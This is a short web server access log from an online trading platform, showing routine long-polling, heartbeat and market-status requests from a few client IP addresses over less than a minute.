[09/Jan/2026:11:48:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930778625 HTTP/1.1" -
[09/Jan/2026:11:48:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930780228 HTTP/1.1" -
[09/Jan/2026:11:48:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:11:48:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:48:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:48:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 316
[09/Jan/2026:11:48:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:11:48:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930781522 HTTP/1.1" -
[09/Jan/2026:11:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930781702 HTTP/1.1" -
[09/Jan/2026:11:48:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930782128 HTTP/1.1" -
[09/Jan/2026:11:48:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930783543 HTTP/1.1" -
[09/Jan/2026:11:48:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930783711 HTTP/1.1" -
[09/Jan/2026:11:48:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930785347 HTTP/1.1" -
[09/Jan/2026:11:48:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930786586 HTTP/1.1" -
[09/Jan/2026:11:48:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930786812 HTTP/1.1" -
[09/Jan/2026:11:48:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930787163 HTTP/1.1" -
[09/Jan/2026:11:48:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:48:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:48:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930788612 HTTP/1.1" -
[09/Jan/2026:11:48:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930788797 HTTP/1.1" -
[09/Jan/2026:11:48:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930790625 HTTP/1.1" -
[09/Jan/2026:11:48:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930791647 HTTP/1.1" -
[09/Jan/2026:11:48:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930791946 HTTP/1.1" -
[09/Jan/2026:11:48:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930792202 HTTP/1.1" -
[09/Jan/2026:11:48:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:48:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930793680 HTTP/1.1" -
[09/Jan/2026:11:48:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930793881 HTTP/1.1" -
[09/Jan/2026:11:48:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930795838 HTTP/1.1" -
[09/Jan/2026:11:48:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:48:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:48:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930796710 HTTP/1.1" -
[09/Jan/2026:11:48:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930797247 HTTP/1.1" -
[09/Jan/2026:11:48:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930796994 HTTP/1.1" -
[09/Jan/2026:11:48:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930798748 HTTP/1.1" -
[09/Jan/2026:11:48:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:48:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930798949 HTTP/1.1" -
[09/Jan/2026:11:48:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:48:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930801127 HTTP/1.1" -
[09/Jan/2026:11:48:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930801783 HTTP/1.1" -
[09/Jan/2026:11:48:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930802264 HTTP/1.1" -
[09/Jan/2026:11:48:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930802109 HTTP/1.1" -
[09/Jan/2026:11:48:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:48:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930803819 HTTP/1.1" -
[09/Jan/2026:11:48:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930804023 HTTP/1.1" -
[09/Jan/2026:11:48:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930806341 HTTP/1.1" -
[09/Jan/2026:11:48:58 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930806840 HTTP/1.1" -
[09/Jan/2026:11:48:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:48:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930807297 HTTP/1.1" -
[09/Jan/2026:11:48:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:48:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930807202 HTTP/1.1" -
[09/Jan/2026:11:49:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930808877 HTTP/1.1" -
[09/Jan/2026:11:49:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930809049 HTTP/1.1" -
[09/Jan/2026:11:49:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:49:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930811522 HTTP/1.1" -
[09/Jan/2026:11:49:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930811902 HTTP/1.1" -
[09/Jan/2026:11:49:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930812415 HTTP/1.1" -
[09/Jan/2026:11:49:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930812316 HTTP/1.1" -
[09/Jan/2026:11:49:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930813947 HTTP/1.1" -
[09/Jan/2026:11:49:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930814125 HTTP/1.1" -
[09/Jan/2026:11:49:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930816805 HTTP/1.1" -
[09/Jan/2026:11:49:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930816969 HTTP/1.1" -
[09/Jan/2026:11:49:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930817449 HTTP/1.1" -
[09/Jan/2026:11:49:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930817456 HTTP/1.1" -
[09/Jan/2026:11:49:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:49:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:49:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930819018 HTTP/1.1" -
[09/Jan/2026:11:49:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930819193 HTTP/1.1" -
[09/Jan/2026:11:49:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930822034 HTTP/1.1" -
[09/Jan/2026:11:49:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930822018 HTTP/1.1" -
[09/Jan/2026:11:49:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930822491 HTTP/1.1" -
[09/Jan/2026:11:49:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:49:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930822620 HTTP/1.1" -
[09/Jan/2026:11:49:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930824074 HTTP/1.1" -
[09/Jan/2026:11:49:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930824272 HTTP/1.1" -
[09/Jan/2026:11:49:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:49:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
